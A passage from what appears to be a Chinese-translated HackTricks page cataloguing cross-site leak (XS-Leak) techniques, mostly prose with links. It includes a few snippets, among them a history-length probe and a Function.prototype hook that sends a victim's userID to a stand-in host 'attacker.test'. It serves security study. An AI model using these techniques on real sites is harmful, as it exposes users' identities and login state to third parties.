Access-Control-Allow-Origin中,就可以检测资源是否已在缓存中。 - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
如果 Origin header 被反射到 Access-Control-Allow-Origin 头中,攻击者可以滥用这一行为以 CORS 模式 尝试 fetch 该 资源。如果没有触发错误,说明资源是正确从网络检索到的;如果触发了错误,则是因为它是从缓存中访问的(该错误出现的原因是缓存保存了一个带有允许原始域的 CORS 头的响应,而不是攻击者的域)。
注意:如果 origin 没有被反射但使用了通配符(Access-Control-Allow-Origin: *),则此方法不可行。
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC 和 SA 允许在重定向完成后检查响应的类型(opaqueredirect)。
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
使用 Fetch API 提交带有 redirect: "manual" 等参数的请求时,可以读取 response.type 属性;如果其等于 opaqueredirect,则说明该响应是一次重定向。
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: 由 Cross-Origin Opener Policy (COOP) 保护的页面会阻止跨域交互的访问。
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
攻击者可以推断跨域 HTTP 响应中是否存在 Cross-Origin Opener Policy (COOP) 头。COOP 被 web 应用用来阻止外部站点获取任意的 window 引用。可以通过尝试访问 contentWindow 引用 来识别该头的可见性。在 COOP 被有条件应用的场景中,opener 属性 是一个明显的指示器:当 COOP 生效时它为 undefined,而当 COOP 不存在时它为 defined。
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: 由于重定向响应长度可能过大导致服务器返回错误并触发可检测的警告,从而检测响应差异。
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
如果服务器端的重定向在重定向中使用了用户输入并附加了额外数据,可以检测到这种行为,因为通常服务器对请求长度有限制。如果用户数据的长度恰好为该限制 - 1,由于重定向会使用该数据并添加一些额外内容,就会触发一个可以通过 Error Events 检测到的错误。
如果你可以以某种方式为用户设置 cookies,还可以通过设置足够多的 cookies(即 cookie bomb,参见 ../hacking-with-cookies/cookie-bomb.md)来执行此攻击,从而通过增加正确响应的大小触发错误。在这种情况下,请记住:如果你从同一站点触发该请求,<script> 会自动发送 cookies(因此你可以检查是否有错误)。
有关 cookie bomb + XS-Search 的示例可参见此 writeup 的预期解法:https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
通常这类攻击需要 SameSite=None 或处于相同上下文。
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: 由于某些请求的重定向响应的长度可能过大,从而导致可观察到的响应差异。
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
根据 Chromium documentation,Chrome 的最大 URL 长度是 2MB。
通常,web 平台对 URL 的长度没有限制(尽管 2^31 是一个常见限制)。出于实际原因并为避免在进程间通信中引发拒绝服务问题,Chrome 将 URL 长度限制为 2MB。
因此,如果重定向的 URL 在某些情况下更长,可以使其重定向到一个大于 2MB 的 URL以触发长度限制。当发生这种情况时,Chrome 会显示一个 about:blank#blocked 页面。
显著的差异在于:如果重定向完成,window.origin 会抛出错误,因为跨域不能访问该信息;然而如果触发了长度限制且加载的页面为 about:blank#blocked,该窗口的 origin 将保持为父页面的 origin,从而成为可访问的信息。
所有需要补充达到 2MB 的额外信息可以通过初始 URL 的 hash 添加,这样它将在重定向中被使用。
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: 利用浏览器的最大重定向限制来确定是否发生了 URL 重定向。
- Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak
如果浏览器允许跟随的最大重定向次数是 20,攻击者可以尝试加载包含 19 次重定向 的页面并最终将受害者发送到被测试页面。如果触发了错误,则说明该页面试图重定向受害者。
History Length
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Redirects
- More info: https://xsleaks.dev/docs/attacks/navigations/
- Summary: JavaScript 可以操作浏览器历史记录,并可以通过 length 属性访问。
- Code Example: https://xsinator.com/testing.html#History%20Length%20Leak
History API 允许 JavaScript 操作浏览器历史,从而保存用户访问的页面。攻击者可以使用 length 属性作为包含方法:检测 JavaScript 和 HTML 导航。
通过检查 history.length,让用户导航到一个页面,随后再返回到同源页面,并检查新的 history.length 值。
History Length with same URL
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: If URL is the same as the guessed one
- Summary: 可以通过滥用 history length 来猜测 frame/pop-up 的位置是否为特定 URL。
- Code Example: Below
攻击者可以使用 JavaScript 将 frame/弹出窗口的位置设置为猜测的 URL,并立即将其改为 about:blank。如果 history length 增加,则说明该 URL 是正确的,并且有时间导致历史记录增加(因为当 URL 相同时不会重新加载)。如果没有增加,则说明尝试加载猜测的 URL 时我们马上加载了 about:blank,因此在加载猜测 URL 时 history length 并未增加。
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- 包含方法: Frames, Pop-ups
- 可检测差异: Page Content
- 更多信息: https://xsleaks.dev/docs/attacks/frame-counting/
- 摘要: 通过检查
window.length属性来评估 iframe 元素的数量。 - 代码示例: https://xsinator.com/testing.html#Frame%20Count%20Leak
通过 iframe 或 window.open 打开的网页中计数框架(frames)的数量,可能有助于识别用户在该页面上的状态。
此外,如果页面始终具有相同数量的 frames,持续检查 frames 的数量可能有助于识别可能会导致信息 leak 的模式。
一个该技术的例子是,在 Chrome 中,可以通过 frame counting 检测到 PDF,因为内部使用了 embed。存在一些 Open URL Parameters(例如 zoom、view、page、toolbar)可以对内容进行一定控制,在这些场景中该技术可能很有用。https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113
HTMLElements
- 包含方法: HTML Elements
- 可检测差异: Page Content
- 更多信息: https://xsleaks.dev/docs/attacks/element-leaks/
- 摘要: 读取 leaked 值以区分两种可能的状态
- 代码示例: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
通过 HTML 元素的信息泄露在 Web 安全中是一个值得关注的问题,尤其是在基于用户信息动态生成媒体文件或添加水印改变媒体尺寸时。攻击者可以通过分析某些 HTML 元素暴露的信息来区分不同的状态,从而进行识别。
Information Exposed by HTML Elements
- HTMLMediaElement: 该元素可以透露媒体的
duration和buffered时间,可通过其 API 访问。 Read more about HTMLMediaElement - HTMLVideoElement: 它暴露
videoHeight和videoWidth。在某些浏览器中,还可用webkitVideoDecodedByteCount、webkitAudioDecodedByteCount和webkitDecodedFrameCount等额外属性,提供更深入的媒体内容信息。 Read more about HTMLVideoElement - getVideoPlaybackQuality(): 该函数提供有关视频播放质量的细节,包括
totalVideoFrames,可指示已处理的视频数据量。 Read more about getVideoPlaybackQuality() - HTMLImageElement: 该元素会泄露图像的
height和width。但如果图像无效,这些属性将返回 0,且image.decode()函数会被拒绝,从而指出图像未正确加载。 Read more about HTMLImageElement
CSS Property
- 包含方法: HTML Elements
- 可检测差异: Page Content
- 更多信息: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- 摘要: 识别与用户状态或权限相关的网站样式变化。
- 代码示例: https://xsinator.com/testing.html#CSS%20Property%20Leak
Web 应用可能会根据用户的状态改变网站样式。跨源 CSS 文件可以通过 HTML link 元素嵌入到攻击者页面中,并且这些规则会被应用到攻击者页面上。如果页面动态更改这些规则,攻击者就可以根据用户状态检测这些差异。
作为一种 leak 技术,攻击者可以使用 window.getComputedStyle 方法读取特定 HTML 元素的 CSS 属性。只要受影响的元素和属性名称已知,攻击者就能读取任意 CSS 属性。
CSS History
- 包含方法: HTML Elements
- 可检测差异: Page Content
- 更多信息: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- 摘要: 检测 URL 是否应用了
:visited样式,从而判断该链接是否已被访问 - 代码示例: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
根据 this,这在 headless Chrome 中不起作用。
CSS 的 :visited 选择器用于对已访问的 URL 应用不同的样式。过去可以使用 getComputedStyle() 来识别这些样式差异,但现代浏览器已经实施了安全措施,阻止该方法泄露链接的状态。这些措施包括始终返回似乎已访问的计算样式以及限制 :visited 可应用的样式。
尽管有这些限制,仍然可以间接判断链接的已访问状态。一种技术是诱导用户与受 CSS 影响的区域交互,特别是利用 mix-blend-mode 属性。该属性允许元素与其背景混合,可能在用户交互时显露已访问状态。
此外,可以通过利用链接的渲染时间差在无需用户交互的情况下进行检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这会在渲染中引入可测量的时间差。一份在 Chromium bug 报告中的 PoC 展示了使用多个链接放大时间差,从而通过计时分析检测已访问状态。
有关这些属性和方法的更多详细信息,请参阅其文档页面:
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- 包含方法: Frames
- 可检测差异: Headers
- 更多信息: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- 摘要: 在 Google Chrome 中,当页面因 X-Frame-Options 限制而被阻止嵌入到跨域站点时,会显示专用的错误页面。
- 代码示例: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
在 Chrome 中,如果一个页面的 X-Frame-Options 头被设置为 “deny” 或 “same-origin” 并作为 object 嵌入,则会出现错误页面。与 iframes 或其他浏览器不同,Chrome 会为该 object 的 contentDocument 属性返回一个空的 document 对象(而不是 null)。攻击者可以通过检测该空文档来利用这一点,可能会泄露关于用户状态的信息,尤其是在开发者不一致地设置 X-Frame-Options 头(经常忽略错误页面)的情况下。为防止此类泄露,保持对安全头的一致应用和认知非常重要。
Download Detection
- 包含方法: Frames, Pop-ups
- 可检测差异: Headers
- 更多信息: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- 摘要: 攻击者可以利用 iframes 分辨文件下载;iframe 持续可访问意味着文件下载成功。
- 代码示例: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition 头,特别是 Content-Disposition: attachment,指示浏览器下载内容而不是内联显示。该行为可被利用来检测用户是否有权访问会触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技巧可以检测到这种下载行为:
- 下载栏监测:
- 当文件在 Chromium 浏览器中被下载时,浏览器窗口底部会出现下载栏。
- 通过监测窗口高度的变化,攻击者可以推断下载栏的出现,从而推测下载已被发起。
- 使用 iframe 的下载导航检测:
- 当页面使用
Content-Disposition: attachment头触发文件下载时,不会触发导航事件。 - 通过在 iframe 中加载内容并监测导航事件,可以判断内容处置是否导致文件下载(无导航)或不是(发生导航)。
- 不使用 iframe 的下载导航检测:
- 与 iframe 技术类似,该方法使用
window.open而非 iframe。 - 监测新打开窗口的导航事件可以显示是否触发了文件下载(无导航)或内容被内联显示(发生导航)。
在只有登录用户能够触发此类下载的场景中,这些技术可以基于浏览器对下载请求的响应间接推断用户的认证状态。
Partitioned HTTP Cache Bypass
- 包含方法: Pop-ups
- 可检测差异: Timing
- 更多信息: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- 摘要: 攻击者可以利用 iframes 分辨文件下载;iframe 持续可访问意味着文件下载成功。
- 代码示例: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
如果站点 example.com 包含来自 *.example.com/resource 的资源,则该资源的缓存键与通过顶级导航直接请求该资源时相同。因为缓存键由顶级的 eTLD+1 和框架的 eTLD+1 组成。
由于访问缓存比加载资源更快,可以尝试更改页面位置并在 20ms(例如)后取消它。如果在停止后原点发生了改变,则说明资源已被缓存。
或者也可以直接对可能已缓存的页面发送一些 fetch 并测量所需时间。
Manual Redirect
- 包含方法: Fetch API
- 可检测差异: Redirects
- 更多信息: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- 摘要: 可以判断对 fetch 请求的响应是否为重定向
- 代码示例:
.png)
Fetch with AbortController
- 包含方法: Fetch API
- 可检测差异: Timing
- 更多信息: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- 摘要: 可以尝试加载资源并在其完全加载前中止。根据是否触发错误,可以判断该资源是否已被缓存。
- 代码示例: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
使用 fetch 和 setTimeout 配合 AbortController,既可以检测资源是否被缓存,也可以将特定资源从浏览器缓存中驱逐。此外,该过程不会缓存新内容。
Script Pollution
- 包含方法: HTML Elements (script)
- 可检测差异: Page Content
- 更多信息: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- 摘要: 可以覆盖内置函数并读取它们的参数,即使这些函数来自不能直接读取的 cross-origin script,这也可能会 leak 有价值的信息。
- 代码示例: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Prototype hooks to exfiltrate module-scoped data
在加载模块之前预先定义 Function.prototype.default 和 Function.prototype.__esModule = 1,使其 default export 调用你的 hook(例如,接收 {userID: ...}),从而让你在不使用计时或暴力破解的情况下读取模块作用域内的值。
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
The request itself also becomes a login-state oracle if the script only loads for authenticated users.
Service Workers
- 包含方法: 弹出窗口
- 可检测差异: 页面内容
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- 摘要: 使用 service workers 测量网页的执行时间。
- 代码示例:
在该场景中,攻击者主动在其某个域(具体为 “attacker.com”)上注册了一个 service worker。接着,攻击者从主文档在目标网站中打开一个新窗口,并指示该 service worker 启动一个计时器。当新窗口开始加载时,攻击者将先前步骤中获得的引用导航到由该 service worker 管理的页面。
当上一步触发的请求到达时,该 service worker 以 204 (No Content) 状态码响应,实际终止了该次导航过程。此时,service worker 从第二步中启动的计时器中读取一次测量值。该测量值会受到导致导航延迟的 JavaScript 执行时长的影响。
Warning
在执行计时攻击时,可以消除 network factors 以获得更精确的测量值。例如,通过在加载页面之前先加载该页面使用的资源。
Fetch Timing
- 包含方法: Fetch API
- 可检测差异: 计时(通常由 页面内容、状态码 导致)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- 摘要: 使用 performance.now() 测量执行请求所需的时间。也可以使用其他时钟。
- 代码示例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- 包含方法: 弹出窗口
- 可检测差异: 计时(通常由 页面内容、状态码 导致)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- 摘要: 使用 performance.now() 结合
window.open测量执行请求所需的时间。也可以使用其他时钟。 - 代码示例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- 包含方法: HTML Elements (script), Frames
- 可检测差异: DNS/HTTP 加载成功、CORB/头部变化
- 摘要: 如果标识符存在于子域标签中(例如
www.<username>.sb.facebook.com),对候选主机请求资源,并将onload与onerror/超时 视为布尔值。将其与仅在登录状态下加载的脚本(例如/signals/iwl.js)结合,以 brute-force 用户名并验证与相关属性的认证状态。 - 注意: Signals 可以通过不同的包含类型(
script,iframe,object)被放大,以检测X-Frame-Options、CORB或每个候选者的重定向差异。
With HTML or Re Injection
在此可以找到从跨域 HTML injecting HTML content 中 exfiltrate 信息的技术。这些技术在某些情况下非常有用,例如你可以注入 HTML 但无法注入 JS 代码。
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
如果你需要 exfiltrate content 并且可以 在秘密之前添加 HTML,你应该查看 common dangling markup techniques。
但是,如果由于某种原因你必须逐字符地进行(例如通信可能通过缓存命中),你可以使用这个技巧。
Images 在 HTML 中有一个名为 “loading” 的属性,其值可以是 “lazy”。在这种情况下,图片会在被查看时加载,而不是在页面加载时:
<img src=/something loading=lazy >
因此,你可以添加大量垃圾字符(例如数千个 “W”)来在秘密之前填满网页或添加类似 <br><canvas height="1850px"></canvas><br>.
然后例如如果我们的 injection appear before the flag,该 image would be loaded,但如果出现在 after the flag,flag + 垃圾将prevent it from being loaded(你需要调整放置多少垃圾)。这就是在 this writeup 中发生的情况。
另一种选择是使用 scroll-to-text-fragment(如果允许):
Scroll-to-text-fragment
However, you make the bot access the page with something like
#:~:text=SECR
So the web page will be something like: https://victim.com/post.html#:~:text=SECR
Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.
这段文本会让 bot 访问页面中任何包含 SECR 的文本。因为该文本是 secret 并且就位于 below the image,image 只有在猜测的 secret 正确时才会加载。这样你就有了一个 oracle,可以 exfiltrate the secret char by char。
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup sumarized here:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
If jQuery(location.hash) is used, it’s possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn’t match it doesn’t need to check the rest of the selectors:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
防御
在 https://xsinator.com/paper.pdf 以及 wiki 的每个章节 https://xsleaks.dev/ 中,都有建议的缓解措施。请前往查看以获取有关如何防范这些技术的更多信息。
References
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


